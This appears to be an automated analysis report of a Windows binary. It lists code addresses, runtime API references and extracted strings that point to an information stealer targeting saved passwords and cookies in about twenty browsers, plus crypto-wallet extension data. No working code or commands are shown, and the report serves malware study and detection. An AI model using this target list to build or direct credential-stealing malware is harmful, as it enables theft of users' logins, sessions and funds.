0x7ff7e6b06659
0x7ff7e6b0666a
0x7ff7e6b0666d
0x7ff7e6b06682
0x7ff7e6b06692
0x7ff7e6b0669b
0x7ff7e6b066a7
0x7ff7e6b066b3
0x7ff7e6b066bc
0x7ff7e6b066cf
0x7ff7e6b066db
0x7ff7e6b066e4
0x7ff7e6b066ed
0x7ff7e6b066f6
0x7ff7e6b066f9
0x7ff7e6b06701
0x7ff7e6b0670e
0x7ff7e6b06721
0x7ff7e6b06732
0x7ff7e6b06735
0x7ff7e6b0674a
0x7ff7e6b0675a
0x7ff7e6b06763
0x7ff7e6b0676f
0x7ff7e6b0677b
0x7ff7e6b06784
0x7ff7e6b06797
0x7ff7e6b067a3
0x7ff7e6b067ac
0x7ff7e6b067b5
0x7ff7e6b067be
0x7ff7e6b067c1
0x7ff7e6b067c9
0x7ff7e6b067d6
0x7ff7e6b067e9
0x7ff7e6b067fa
0x7ff7e6b067fd
0x7ff7e6b06812
0x7ff7e6b06822
0x7ff7e6b0682b
0x7ff7e6b06837
0x7ff7e6b06843
0x7ff7e6b0684c
0x7ff7e6b0685f
0x7ff7e6b0686b
0x7ff7e6b06874
0x7ff7e6b0687d
0x7ff7e6b06886
0x7ff7e6b06889
0x7ff7e6b06891
0x7ff7e6b0689e
0x7ff7e6b068b1
0x7ff7e6b068c2
0x7ff7e6b068c5
0x7ff7e6b068da
0x7ff7e6b068ea
0x7ff7e6b068f3
0x7ff7e6b068ff
0x7ff7e6b0690b
0x7ff7e6b06914
0x7ff7e6b06927
0x7ff7e6b06933
0x7ff7e6b0693c
0x7ff7e6b06945
0x7ff7e6b0694e
0x7ff7e6b06951
0x7ff7e6b06959
0x7ff7e6b06966
0x7ff7e6b06979
0x7ff7e6b0698a
0x7ff7e6b0698d
0x7ff7e6b069a2
0x7ff7e6b069b2
0x7ff7e6b069bb
0x7ff7e6b069c7
0x7ff7e6b069d3
0x7ff7e6b069dc
0x7ff7e6b069ef
0x7ff7e6b069fb
0x7ff7e6b06a04
0x7ff7e6b06a0d
0x7ff7e6b06a16
0x7ff7e6b06a19
0x7ff7e6b06a21
0x7ff7e6b06a2e
0x7ff7e6b06a41
0x7ff7e6b06a52
0x7ff7e6b06a55
0x7ff7e6b06a6a
0x7ff7e6b06a7a
0x7ff7e6b06a83
0x7ff7e6b06a8f
0x7ff7e6b06a9b
0x7ff7e6b06aa4
0x7ff7e6b06ab7
0x7ff7e6b06ac3
0x7ff7e6b06acc
0x7ff7e6b06ad5
0x7ff7e6b06ade
0x7ff7e6b06ae1
0x7ff7e6b06ae9
0x7ff7e6b06af6
0x7ff7e6b06b09
0x7ff7e6b06b1a
0x7ff7e6b06b1d
0x7ff7e6b06b32
0x7ff7e6b06b42
0x7ff7e6b06b4b
0x7ff7e6b06b57
0x7ff7e6b06b63
0x7ff7e6b06b6c
0x7ff7e6b06b7f
0x7ff7e6b06b8b
0x7ff7e6b06b94
0x7ff7e6b06b9d
0x7ff7e6b06ba6
0x7ff7e6b06ba9
0x7ff7e6b06bb1
0x7ff7e6b06bbe
0x7ff7e6b06bd1
0x7ff7e6b06be2
0x7ff7e6b06be5
0x7ff7e6b06bfa
0x7ff7e6b06c0a
0x7ff7e6b06c13
0x7ff7e6b06c1f
0x7ff7e6b06c2b
0x7ff7e6b06c34
0x7ff7e6b06c47
0x7ff7e6b06c53
0x7ff7e6b06c5c
0x7ff7e6b06c65
0x7ff7e6b06c6e
0x7ff7e6b06c71
0x7ff7e6b06c79
0x7ff7e6b06c86
0x7ff7e6b06c99
0x7ff7e6b06caa
0x7ff7e6b06cad
0x7ff7e6b06cc2
0x7ff7e6b06cd2
0x7ff7e6b06cdb
0x7ff7e6b06ce7
0x7ff7e6b06cf3
0x7ff7e6b06cfc
0x7ff7e6b06d0f
0x7ff7e6b06d1b
0x7ff7e6b06d24
0x7ff7e6b06d2d
0x7ff7e6b06d36
0x7ff7e6b06d39
0x7ff7e6b06d41
0x7ff7e6b06d4e
0x7ff7e6b06d61
0x7ff7e6b06d75
0x7ff7e6b06d8a
0x7ff7e6b06d9a
0x7ff7e6b06da3
0x7ff7e6b06daf
0x7ff7e6b06db7
0x7ff7e6b06dc4
0x7ff7e6b06dd7
0x7ff7e6b06deb
0x7ff7e6b06e00
0x7ff7e6b06e13
0x7ff7e6b06e1b
0x7ff7e6b06e2b
0x7ff7e6b06e34
0x7ff7e6b06e40
0x7ff7e6b06e48
0x7ff7e6b06e55
0x7ff7e6b06e68
0x7ff7e6b06e7c
0x7ff7e6b06e91
0x7ff7e6b06ea4
0x7ff7e6b06eac
0x7ff7e6b06ebc
0x7ff7e6b06ec5
0x7ff7e6b06ed1
0x7ff7e6b06ed9
0x7ff7e6b06ee6
0x7ff7e6b06ef9
0x7ff7e6b06f0d
0x7ff7e6b06f22
0x7ff7e6b06f35
0x7ff7e6b06f3d
0x7ff7e6b06f4d
0x7ff7e6b06f56
0x7ff7e6b06f62
0x7ff7e6b06f6a
0x7ff7e6b06f77
0x7ff7e6b06f8a
0x7ff7e6b06f9e
0x7ff7e6b06fb3
0x7ff7e6b06fc6
0x7ff7e6b06fce
0x7ff7e6b06fde
0x7ff7e6b06fe7
0x7ff7e6b06ff3
0x7ff7e6b06ffb
0x7ff7e6b07008
0x7ff7e6b0701b
0x7ff7e6b0702f
0x7ff7e6b07044
0x7ff7e6b07057
0x7ff7e6b0705f
0x7ff7e6b0706f
0x7ff7e6b07078
0x7ff7e6b07084
0x7ff7e6b0708c
0x7ff7e6b07099
0x7ff7e6b070ac
0x7ff7e6b070c0
0x7ff7e6b070d5
0x7ff7e6b070e8
0x7ff7e6b070f0
0x7ff7e6b07100
0x7ff7e6b07109
0x7ff7e6b07115
0x7ff7e6b0711d
0x7ff7e6b0712a
0x7ff7e6b0713d
0x7ff7e6b07151
0x7ff7e6b07166
0x7ff7e6b07179
0x7ff7e6b07181
0x7ff7e6b07191
0x7ff7e6b0719a
0x7ff7e6b071a6
0x7ff7e6b071ae
0x7ff7e6b071bb
0x7ff7e6b071ce
0x7ff7e6b071e2
0x7ff7e6b071f7
0x7ff7e6b0720a
0x7ff7e6b07212
0x7ff7e6b07222
0x7ff7e6b0722b
0x7ff7e6b07237
0x7ff7e6b0723f
0x7ff7e6b0724c
0x7ff7e6b0725f
0x7ff7e6b07273
0x7ff7e6b07288
0x7ff7e6b0729b
0x7ff7e6b072a3
0x7ff7e6b072b3
0x7ff7e6b072bc
0x7ff7e6b072c8
0x7ff7e6b072d0
0x7ff7e6b072dd
0x7ff7e6b072f0
0x7ff7e6b07304
0x7ff7e6b07319
0x7ff7e6b0732c
0x7ff7e6b07334
0x7ff7e6b07344
0x7ff7e6b0734d
0x7ff7e6b07359
0x7ff7e6b07361
0x7ff7e6b0736e
0x7ff7e6b07381
0x7ff7e6b07395
0x7ff7e6b073aa
0x7ff7e6b073bd
0x7ff7e6b073c5
0x7ff7e6b073d5
0x7ff7e6b073de
0x7ff7e6b073ea
0x7ff7e6b073f2
0x7ff7e6b073ff
0x7ff7e6b07412
0x7ff7e6b07426
0x7ff7e6b0743b
0x7ff7e6b0744e
0x7ff7e6b07456
0x7ff7e6b07466
0x7ff7e6b0746f
0x7ff7e6b0747b
0x7ff7e6b07483
0x7ff7e6b07490
0x7ff7e6b074a3
0x7ff7e6b074b7
0x7ff7e6b074cc
0x7ff7e6b074df
0x7ff7e6b074e7
0x7ff7e6b074f7
0x7ff7e6b07500
0x7ff7e6b0750c
0x7ff7e6b07514
0x7ff7e6b07521
0x7ff7e6b07534
0x7ff7e6b07548
0x7ff7e6b0755d
0x7ff7e6b07570
0x7ff7e6b07578
0x7ff7e6b07588
0x7ff7e6b07591
0x7ff7e6b0759d
0x7ff7e6b075a5
0x7ff7e6b075b2
0x7ff7e6b075c5
0x7ff7e6b075d9
0x7ff7e6b075ee
0x7ff7e6b07601
0x7ff7e6b07609
0x7ff7e6b07619
0x7ff7e6b07622
0x7ff7e6b0762e
0x7ff7e6b07636
0x7ff7e6b07643
0x7ff7e6b07656
0x7ff7e6b0766a
0x7ff7e6b0767f
0x7ff7e6b07692
0x7ff7e6b0769a
0x7ff7e6b076aa
0x7ff7e6b076b3
0x7ff7e6b076bf
0x7ff7e6b076c7
0x7ff7e6b076d4
0x7ff7e6b076e7
0x7ff7e6b076fb
0x7ff7e6b07710
0x7ff7e6b07723
0x7ff7e6b0772b
0x7ff7e6b0773b
0x7ff7e6b07744
0x7ff7e6b07750
0x7ff7e6b07758
0x7ff7e6b07765
0x7ff7e6b07778
0x7ff7e6b0778c
0x7ff7e6b077a1
0x7ff7e6b077b4
0x7ff7e6b077bc
0x7ff7e6b077c1
0x7ff7e6b077cd
0x7ff7e6b077dc
0x7ff7e6b077e4
0x7ff7e6b077ec
0x7ff7e6b077ff
0x7ff7e6b0780e
0x7ff7e6b0781b
0x7ff7e6b0782c
0x7ff7e6b0783f
0x7ff7e6b0784e
0x7ff7e6b0785b
0x7ff7e6b07860
0x7ff7e6b07867
0x7ff7e6b0786a
0x7ff7e6b07870
0x7ff7e6b07884
0x7ff7e6b07888
0x7ff7e6b07894
0x7ff7e6b07898
0x7ff7e6b078ab
0x7ff7e6b078b0
0x7ff7e6b078bb
0x7ff7e6b078dd
0x7ff7e6b078e5
0x7ff7e6b078f0
0x7ff7e6b078f8
0x7ff7e6b078fd
0x7ff7e6b0790e
0x7ff7e6b07923
0x7ff7e6b0792f
0x7ff7e6b0793c
0x7ff7e6b07941
0x7ff7e6b0794a
0x7ff7e6b0794f
0x7ff7e6b07961
0x7ff7e6b07966
0x7ff7e6b07971
0x7ff7e6b07979
0x7ff7e6b0797c
0x7ff7e6b07980
0x7ff7e6b07983
0x7ff7e6b07987
0x7ff7e6b0798b
0x7ff7e6b0798f
0x7ff7e6b07993
0x7ff7e6b0799b
0x7ff7e6b079ad
0x7ff7e6b079b5
0x7ff7e6b079ba
0x7ff7e6b079be
0x7ff7e6b079c1
0x7ff7e6b079c5
0x7ff7e6b079c9
0x7ff7e6b079cc
0x7ff7e6b079d0
0x7ff7e6b079d4
0x7ff7e6b079d8
0x7ff7e6b079dc
0x7ff7e6b079e4
0x7ff7e6b079e7
0x7ff7e6b079ef
0x7ff7e6b07a02
0x7ff7e6b07a17
0x7ff7e6b07a1d
0x7ff7e6b07a22
0x7ff7e6b07a27
0x7ff7e6b07a2b
0x7ff7e6b07a33
0x7ff7e6b07a3b
0x7ff7e6b07a4f
0x7ff7e6b07a5c
0x7ff7e6b07a64
0x7ff7e6b07a6a
0x7ff7e6b07a7c
0x7ff7e6b07a81
0x7ff7e6b07a8b
0x7ff7e6b07a98
0x7ff7e6b07aab
0x7ff7e6b07ab9
0x7ff7e6b07ac0
0x7ff7e6b07acf
0x7ff7e6b07ad3
0x7ff7e6b07ad6
0x7ff7e6b07ada
0x7ff7e6b07ae1
0x7ff7e6b07ae7
0x7ff7e6b07af3
0x7ff7e6b07af5
0x7ff7e6b07afb
0x7ff7e6b07b06
0x7ff7e6b07b0b
0x7ff7e6b07b1a
0x7ff7e6b07b1f
0x7ff7e6b07b2a
0x7ff7e6b07b3c
0x7ff7e6b07b47
0x7ff7e6b07b49
0x7ff7e6b07b49
0x7ff7e6b07b4d
0x7ff7e6b07b50
0x7ff7e6b07b59
0x7ff7e6b07b5e
0x7ff7e6b07b64
0x7ff7e6b07b72
0x7ff7e6b07b76
0x7ff7e6b07b7b
0x7ff7e6b07b7d
0x7ff7e6b07b82
0x7ff7e6b07b8b
0x7ff7e6b07b92
0x7ff7e6b07b99
0x7ff7e6b07b9d
0x7ff7e6b07bb3
0x7ff7e6b07bb8
0x7ff7e6b07bc0
0x7ff7e6b07bd3
0x7ff7e6b07be8
0x7ff7e6b07bee
0x7ff7e6b07bf3
0x7ff7e6b07bfa
0x7ff7e6b07bfe
0x7ff7e6b07c06
0x7ff7e6b07c0e
0x7ff7e6b07c24
0x7ff7e6b07c39
0x7ff7e6b07c3f
0x7ff7e6b07c44
0x7ff7e6b07c4f
0x7ff7e6b07c6a
0x7ff7e6b07c7f
0x7ff7e6b07c85
0x7ff7e6b07c8a
0x7ff7e6b07c91
0x7ff7e6b07c98
0x7ff7e6b07ca3
0x7ff7e6b07caf
0x7ff7e6b07cc5
0x7ff7e6b07cda
0x7ff7e6b07ce0
0x7ff7e6b07ce5
0x7ff7e6b07cec
0x7ff7e6b07cf3
0x7ff7e6b07cfe
0x7ff7e6b07d09
0x7ff7e6b07d24
0x7ff7e6b07d39
0x7ff7e6b07d3f
0x7ff7e6b07d44
0x7ff7e6b07d48
0x7ff7e6b07d4f
0x7ff7e6b07d5a
0x7ff7e6b07d66
0x7ff7e6b07d79
0x7ff7e6b07d8e
0x7ff7e6b07d94
0x7ff7e6b07da1
0x7ff7e6b07da3
0x7ff7e6b07dab
0x7ff7e6b07db4
0x7ff7e6b07db9
0x7ff7e6b07dc1
0x7ff7e6b07dcd
0x7ff7e6b07dd2
0x7ff7e6b07ddc
0x7ff7e6b07de3
0x7ff7e6b07ded
0x7ff7e6b07df6
0x7ff7e6b07dfb
0x7ff7e6b07e05
0x7ff7e6b07e0d
0x7ff7e6b07e13
0x7ff7e6b07e18
0x7ff7e6b07e1e
0x7ff7e6b07e23
0x7ff7e6b07e2d
0x7ff7e6b07e34
0x7ff7e6b07e3a
0x7ff7e6b07e3e
0x7ff7e6b07e43
0x7ff7e6b07e58
0x7ff7e6b07e64
0x7ff7e6b07e6a
0x7ff7e6b07e75
0x7ff7e6b07e8b
0x7ff7e6b07ea0
0x7ff7e6b07ea6
0x7ff7e6b07eab
0x7ff7e6b07eba
0x7ff7e6b07ec2
0x7ff7e6b07ec9
0x7ff7e6b07ed5
0x7ff7e6b07ee1
0x7ff7e6b07eed
0x7ff7e6b07ef9
0x7ff7e6b07f05
0x7ff7e6b07f11
0x7ff7e6b07f1d
0x7ff7e6b07f29
0x7ff7e6b07f35
0x7ff7e6b07f41
0x7ff7e6b07f46
0x7ff7e6b07f51
0x7ff7e6b07f67
0x7ff7e6b07f7c
0x7ff7e6b07f82
0x7ff7e6b07f87
0x7ff7e6b07f8e
0x7ff7e6b07f96
0x7ff7e6b07f9d
0x7ff7e6b07fa9
0x7ff7e6b07fbf
0x7ff7e6b07fd4
0x7ff7e6b07fda
0x7ff7e6b07fdf
0x7ff7e6b07fe6
0x7ff7e6b07fee
0x7ff7e6b07ff5
0x7ff7e6b08001
0x7ff7e6b08017
0x7ff7e6b0802c
0x7ff7e6b08032
0x7ff7e6b08037
0x7ff7e6b0803e
0x7ff7e6b08046
0x7ff7e6b0804d
0x7ff7e6b08059
0x7ff7e6b0806f
0x7ff7e6b08084
0x7ff7e6b0808a
0x7ff7e6b0808f
0x7ff7e6b08096
0x7ff7e6b0809e
0x7ff7e6b080a5
0x7ff7e6b080b1
0x7ff7e6b080c7
0x7ff7e6b080dc
0x7ff7e6b080e2
0x7ff7e6b080e7
0x7ff7e6b080ee
0x7ff7e6b080f6
0x7ff7e6b080fd
0x7ff7e6b08109
0x7ff7e6b0811f
0x7ff7e6b08134
0x7ff7e6b0813a
0x7ff7e6b0813f
0x7ff7e6b08146
0x7ff7e6b0814e
0x7ff7e6b08155
0x7ff7e6b08161
0x7ff7e6b0817c
0x7ff7e6b08191
0x7ff7e6b08197
0x7ff7e6b0819c
0x7ff7e6b081a3
0x7ff7e6b081ab
0x7ff7e6b081b3
0x7ff7e6b081bf
0x7ff7e6b081da
0x7ff7e6b081ef
0x7ff7e6b081f5
0x7ff7e6b081fa
0x7ff7e6b08201
0x7ff7e6b08209
0x7ff7e6b08211
0x7ff7e6b0821d
0x7ff7e6b08238
0x7ff7e6b0824d
0x7ff7e6b08253
0x7ff7e6b08258
0x7ff7e6b0825f
0x7ff7e6b08267
0x7ff7e6b0826f
0x7ff7e6b0827b
0x7ff7e6b08296
0x7ff7e6b082ab
0x7ff7e6b082b1
0x7ff7e6b082b6
0x7ff7e6b082bd
0x7ff7e6b082c5
0x7ff7e6b082cd
0x7ff7e6b082d9
0x7ff7e6b082f4
0x7ff7e6b08309
0x7ff7e6b0830f
0x7ff7e6b08314
0x7ff7e6b0831b
0x7ff7e6b08323
0x7ff7e6b0832b
0x7ff7e6b08337
0x7ff7e6b08352
0x7ff7e6b08367
0x7ff7e6b0836d
0x7ff7e6b08372
0x7ff7e6b08379
0x7ff7e6b08381
0x7ff7e6b08389
0x7ff7e6b08395
0x7ff7e6b083b0
0x7ff7e6b083c5
0x7ff7e6b083cb
0x7ff7e6b083d0
0x7ff7e6b083d7
0x7ff7e6b083df
0x7ff7e6b083e7
0x7ff7e6b083f3
0x7ff7e6b0840e
0x7ff7e6b08423
0x7ff7e6b08429
0x7ff7e6b0842e
0x7ff7e6b08435
0x7ff7e6b0843d
0x7ff7e6b08445
0x7ff7e6b08451
0x7ff7e6b0846c
0x7ff7e6b08481
0x7ff7e6b08487
0x7ff7e6b0848c
0x7ff7e6b08493
0x7ff7e6b0849b
0x7ff7e6b084a3
0x7ff7e6b084af
0x7ff7e6b084ca
0x7ff7e6b084df
0x7ff7e6b084e5
0x7ff7e6b084ea
0x7ff7e6b084f1
0x7ff7e6b084f9
0x7ff7e6b08501
0x7ff7e6b0850d
0x7ff7e6b08528
0x7ff7e6b0853d
0x7ff7e6b08543
0x7ff7e6b08548
0x7ff7e6b0854f
0x7ff7e6b08557
0x7ff7e6b0855f
0x7ff7e6b0856b
0x7ff7e6b08586
0x7ff7e6b0859b
0x7ff7e6b085a1
0x7ff7e6b085a6
0x7ff7e6b085ad
0x7ff7e6b085b5
0x7ff7e6b085bd
0x7ff7e6b085c9
0x7ff7e6b085e4
0x7ff7e6b085f9
0x7ff7e6b085ff
0x7ff7e6b08604
0x7ff7e6b0860b
0x7ff7e6b08613
0x7ff7e6b0861b
0x7ff7e6b08627
0x7ff7e6b08642
0x7ff7e6b08657
0x7ff7e6b0865d
0x7ff7e6b08662
0x7ff7e6b08669
0x7ff7e6b08671
0x7ff7e6b08679
0x7ff7e6b08685
0x7ff7e6b086a0
0x7ff7e6b086b5
0x7ff7e6b086bb
0x7ff7e6b086c0
0x7ff7e6b086c7
0x7ff7e6b086cf
0x7ff7e6b086d7
0x7ff7e6b086e3
0x7ff7e6b086fe
0x7ff7e6b08713
0x7ff7e6b08719
0x7ff7e6b0871e
0x7ff7e6b08725
0x7ff7e6b0872d
0x7ff7e6b08735
0x7ff7e6b08741
0x7ff7e6b0875c
0x7ff7e6b08771
0x7ff7e6b08777
0x7ff7e6b0877c
0x7ff7e6b08783
0x7ff7e6b0878b
0x7ff7e6b08793
0x7ff7e6b0879f
0x7ff7e6b087ba
0x7ff7e6b087cf
0x7ff7e6b087d5
0x7ff7e6b087da
0x7ff7e6b087e6
0x7ff7e6b087ee
0x7ff7e6b087f6
0x7ff7e6b087fb
0x7ff7e6b08806
0x7ff7e6b0881c
0x7ff7e6b08831
0x7ff7e6b08837
0x7ff7e6b0883c
0x7ff7e6b08843
0x7ff7e6b0884b
0x7ff7e6b08852
0x7ff7e6b0885e
0x7ff7e6b08874
0x7ff7e6b08889
0x7ff7e6b0888f
0x7ff7e6b08894
0x7ff7e6b0889b
0x7ff7e6b088a3
0x7ff7e6b088aa
0x7ff7e6b088b6
0x7ff7e6b088cc
0x7ff7e6b088e1
0x7ff7e6b088e7
0x7ff7e6b088ec
0x7ff7e6b088f3
0x7ff7e6b088fb
0x7ff7e6b08902
0x7ff7e6b0890e
0x7ff7e6b08924
0x7ff7e6b08939
0x7ff7e6b0893f
0x7ff7e6b08944
0x7ff7e6b0894b
0x7ff7e6b08953
0x7ff7e6b0895a
0x7ff7e6b08966
0x7ff7e6b0897c
0x7ff7e6b08991
0x7ff7e6b08997
0x7ff7e6b0899c
0x7ff7e6b089a3
0x7ff7e6b089ab
0x7ff7e6b089b2
0x7ff7e6b089be
0x7ff7e6b089d4
0x7ff7e6b089e9
0x7ff7e6b089ef
0x7ff7e6b089f4
0x7ff7e6b089fb
0x7ff7e6b08a03
0x7ff7e6b08a0a
0x7ff7e6b08a16
0x7ff7e6b08a2c
0x7ff7e6b08a41
0x7ff7e6b08a47
0x7ff7e6b08a4c
0x7ff7e6b08a53
0x7ff7e6b08a5b
0x7ff7e6b08a62
0x7ff7e6b08a6e
0x7ff7e6b08a84
0x7ff7e6b08a99
0x7ff7e6b08a9f
0x7ff7e6b08aa4
0x7ff7e6b08aab
0x7ff7e6b08ab3
0x7ff7e6b08aba
0x7ff7e6b08ac6
0x7ff7e6b08adc
0x7ff7e6b08af1
0x7ff7e6b08af7
0x7ff7e6b08afc
0x7ff7e6b08b03
0x7ff7e6b08b0b
0x7ff7e6b08b12
0x7ff7e6b08b1e
0x7ff7e6b08b34
0x7ff7e6b08b49
0x7ff7e6b08b4f
0x7ff7e6b08b54
0x7ff7e6b08b5b
0x7ff7e6b08b63
0x7ff7e6b08b6a
0x7ff7e6b08b76
0x7ff7e6b08b8c
0x7ff7e6b08ba1
0x7ff7e6b08ba7
0x7ff7e6b08bac
0x7ff7e6b08bb3
0x7ff7e6b08bbb
0x7ff7e6b08bc2
0x7ff7e6b08bce
0x7ff7e6b08be4
0x7ff7e6b08bf9
0x7ff7e6b08bff
0x7ff7e6b08c04
0x7ff7e6b08c13
0x7ff7e6b08c1b
0x7ff7e6b08c22
0x7ff7e6b08c2e
0x7ff7e6b08c3a
0x7ff7e6b08c46
0x7ff7e6b08c52
0x7ff7e6b08c5e
0x7ff7e6b08c6a
0x7ff7e6b08c76
0x7ff7e6b08c82
0x7ff7e6b08c8e
0x7ff7e6b08c9a
0x7ff7e6b08ca6
0x7ff7e6b08cb2
0x7ff7e6b08cbe
0x7ff7e6b08cca
0x7ff7e6b08cd6
0x7ff7e6b08ce2
0x7ff7e6b08cee
0x7ff7e6b08cfa
0x7ff7e6b08d06
0x7ff7e6b08d12
0x7ff7e6b08d1e
0x7ff7e6b08d2a
0x7ff7e6b08d36
0x7ff7e6b08d3f
0x7ff7e6b08d4b
0x7ff7e6b08d57
0x7ff7e6b08d63
0x7ff7e6b08d6f
0x7ff7e6b08d7b
0x7ff7e6b08d87
0x7ff7e6b08d93
0x7ff7e6b08d9f
0x7ff7e6b08dab
0x7ff7e6b08db7
0x7ff7e6b08dc3
0x7ff7e6b08dcf
0x7ff7e6b08ddb
0x7ff7e6b08de7
0x7ff7e6b08df3
0x7ff7e6b08dff
0x7ff7e6b08e0b
0x7ff7e6b08e17
0x7ff7e6b08e1c
0x7ff7e6b08e27
0x7ff7e6b08e42
0x7ff7e6b08e57
0x7ff7e6b08e5d
0x7ff7e6b08e62
0x7ff7e6b08e69
0x7ff7e6b08e71
0x7ff7e6b08e79
0x7ff7e6b08e85
0x7ff7e6b08ea0
0x7ff7e6b08eb5
0x7ff7e6b08ebb
0x7ff7e6b08ec0
0x7ff7e6b08ec7
0x7ff7e6b08ecf
0x7ff7e6b08ed7
0x7ff7e6b08ee3
0x7ff7e6b08efe
0x7ff7e6b08f13
0x7ff7e6b08f19
0x7ff7e6b08f1e
0x7ff7e6b08f25
0x7ff7e6b08f2d
0x7ff7e6b08f35
0x7ff7e6b08f41
0x7ff7e6b08f5c
0x7ff7e6b08f71
0x7ff7e6b08f77
0x7ff7e6b08f7c
0x7ff7e6b08f83
0x7ff7e6b08f8b
0x7ff7e6b08f93
0x7ff7e6b08f9f
0x7ff7e6b08fba
0x7ff7e6b08fcf
0x7ff7e6b08fd5
0x7ff7e6b08fda
0x7ff7e6b08fe1
0x7ff7e6b08fe9
0x7ff7e6b08ff1
0x7ff7e6b08ffd
0x7ff7e6b09018
0x7ff7e6b0902d
0x7ff7e6b09033
0x7ff7e6b09038
0x7ff7e6b0903f
0x7ff7e6b09047
0x7ff7e6b0904f
0x7ff7e6b0905b
0x7ff7e6b09076
0x7ff7e6b0908b
0x7ff7e6b09091
0x7ff7e6b09096
0x7ff7e6b0909d
0x7ff7e6b090a5
0x7ff7e6b090ad
0x7ff7e6b090b9
0x7ff7e6b090d4
0x7ff7e6b090e9
0x7ff7e6b090ef
0x7ff7e6b090f4
0x7ff7e6b090fb
0x7ff7e6b09103
0x7ff7e6b0910b
0x7ff7e6b09117
0x7ff7e6b09132
0x7ff7e6b09147
0x7ff7e6b0914d
0x7ff7e6b09152
0x7ff7e6b09159
0x7ff7e6b09161
0x7ff7e6b09169
0x7ff7e6b09175
0x7ff7e6b09190
0x7ff7e6b091a5
0x7ff7e6b091ab
0x7ff7e6b091b0
0x7ff7e6b091b7
0x7ff7e6b091bf
0x7ff7e6b091c7
0x7ff7e6b091d3
0x7ff7e6b091ee
0x7ff7e6b09203
0x7ff7e6b09209
0x7ff7e6b0920e
0x7ff7e6b09215
0x7ff7e6b0921d
0x7ff7e6b09225
0x7ff7e6b09231
0x7ff7e6b0924c
0x7ff7e6b09261
0x7ff7e6b09267
0x7ff7e6b0926c
0x7ff7e6b09273
0x7ff7e6b0927b
0x7ff7e6b09283
0x7ff7e6b0928f
0x7ff7e6b092aa
0x7ff7e6b092bf
0x7ff7e6b092c5
0x7ff7e6b092ca
0x7ff7e6b092d1
0x7ff7e6b092d9
0x7ff7e6b092e1
0x7ff7e6b092ed
0x7ff7e6b09308
0x7ff7e6b0931d
0x7ff7e6b09323
0x7ff7e6b09328
0x7ff7e6b0932f
0x7ff7e6b09337
0x7ff7e6b0933f
0x7ff7e6b0934b
0x7ff7e6b09366
0x7ff7e6b0937b
0x7ff7e6b09381
0x7ff7e6b09386
0x7ff7e6b0938d
0x7ff7e6b09395
0x7ff7e6b0939d
0x7ff7e6b093a9
0x7ff7e6b093c4
0x7ff7e6b093d9
0x7ff7e6b093df
0x7ff7e6b093e4
0x7ff7e6b093eb
0x7ff7e6b093f3
0x7ff7e6b093fb
0x7ff7e6b09407
0x7ff7e6b09422
0x7ff7e6b09437
0x7ff7e6b0943d
0x7ff7e6b09442
0x7ff7e6b09449
0x7ff7e6b09451
0x7ff7e6b09459
0x7ff7e6b09465
0x7ff7e6b09480
0x7ff7e6b09495
0x7ff7e6b0949b
0x7ff7e6b094a0
0x7ff7e6b094ac
0x7ff7e6b094b4
0x7ff7e6b094bc
0x7ff7e6b094c5
0x7ff7e6b094d1
0x7ff7e6b094dd
0x7ff7e6b094e9
0x7ff7e6b094f5
0x7ff7e6b09501
0x7ff7e6b0950d
0x7ff7e6b0951a

APIs

Part of subcall function 00007FF7E6B01CD0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B01D2B

Part of subcall function 00007FF7E6B02900: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B02A07
Part of subcall function 00007FF7E6B02900: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B02A13

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0963A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B09640
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7E6B09646
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0964C

Strings

EpicCookies, xrefs: 00007FF7E6B066C1
TorchPw, xrefs: 00007FF7E6B076D9
ChromeCookies, xrefs: 00007FF7E6B063A1
ComodoCookies, xrefs: 00007FF7E6B06531
RockCookies, xrefs: 00007FF7E6B06919
ComodoPw, xrefs: 00007FF7E6B071C0
ChromePw, xrefs: 00007FF7E6B0709E
GoPw, xrefs: 00007FF7E6B07373
EpicPw, xrefs: 00007FF7E6B072E2
Wait in main, xrefs: 00007FF7E6B06E05, 00007FF7E6B06E96, 00007FF7E6B06F27, 00007FF7E6B06FB8, 00007FF7E6B07049, 00007FF7E6B070DA, 00007FF7E6B0716B, 00007FF7E6B071FC, 00007FF7E6B0728D, 00007FF7E6B0731E, 00007FF7E6B073AF, 00007FF7E6B07440, 00007FF7E6B074D1, 00007FF7E6B07562, 00007FF7E6B075F3, 00007FF7E6B07684, 00007FF7E6B07715, 00007FF7E6B077A6
GoCookies, xrefs: 00007FF7E6B06789
SleipCookies, xrefs: 00007FF7E6B069E1
Wallets: , xrefs: 00007FF7E6B07928
TitanPw, xrefs: 00007FF7E6B07648
BlackCookies, xrefs: 00007FF7E6B06149
RockPw, xrefs: 00007FF7E6B07495
BaiduCookies, xrefs: 00007FF7E6B06081
Local Extension Settings, xrefs: 00007FF7E6B077F1, 00007FF7E6B07831
BravePw, xrefs: 00007FF7E6B06F7C
TitanCookies, xrefs: 00007FF7E6B06B71
CoolPw, xrefs: 00007FF7E6B0712F
SRWCookies, xrefs: 00007FF7E6B06AA9
BraveCookies, xrefs: 00007FF7E6B06211
TorchCookies, xrefs: 00007FF7E6B06C39
BaiduPw, xrefs: 00007FF7E6B06E5A
SRWPw, xrefs: 00007FF7E6B075B7
OperaPw, xrefs: 00007FF7E6B07404
AWBCookies, xrefs: 00007FF7E6B05FB9
VivaPw, xrefs: 00007FF7E6B0776A
EdgePw, xrefs: 00007FF7E6B07251
VivaCookies, xrefs: 00007FF7E6B06D01
CentPw, xrefs: 00007FF7E6B0700D
CoolCookies, xrefs: 00007FF7E6B06469
OperaCookies, xrefs: 00007FF7E6B06851
AWBPw , xrefs: 00007FF7E6B06DC9
password: , xrefs: 00007FF7E6B06DB9, 00007FF7E6B06E4A, 00007FF7E6B06EDB, 00007FF7E6B06F6C, 00007FF7E6B06FFD, 00007FF7E6B0708E, 00007FF7E6B0711F, 00007FF7E6B071B0, 00007FF7E6B07241, 00007FF7E6B072D2, 00007FF7E6B07363, 00007FF7E6B073F4, 00007FF7E6B07485, 00007FF7E6B07516, 00007FF7E6B075A7, 00007FF7E6B07638, 00007FF7E6B076C9, 00007FF7E6B0775A
BlackPw, xrefs: 00007FF7E6B06EEB
EdgeCookies, xrefs: 00007FF7E6B065F9
CentCookies, xrefs: 00007FF7E6B062D9
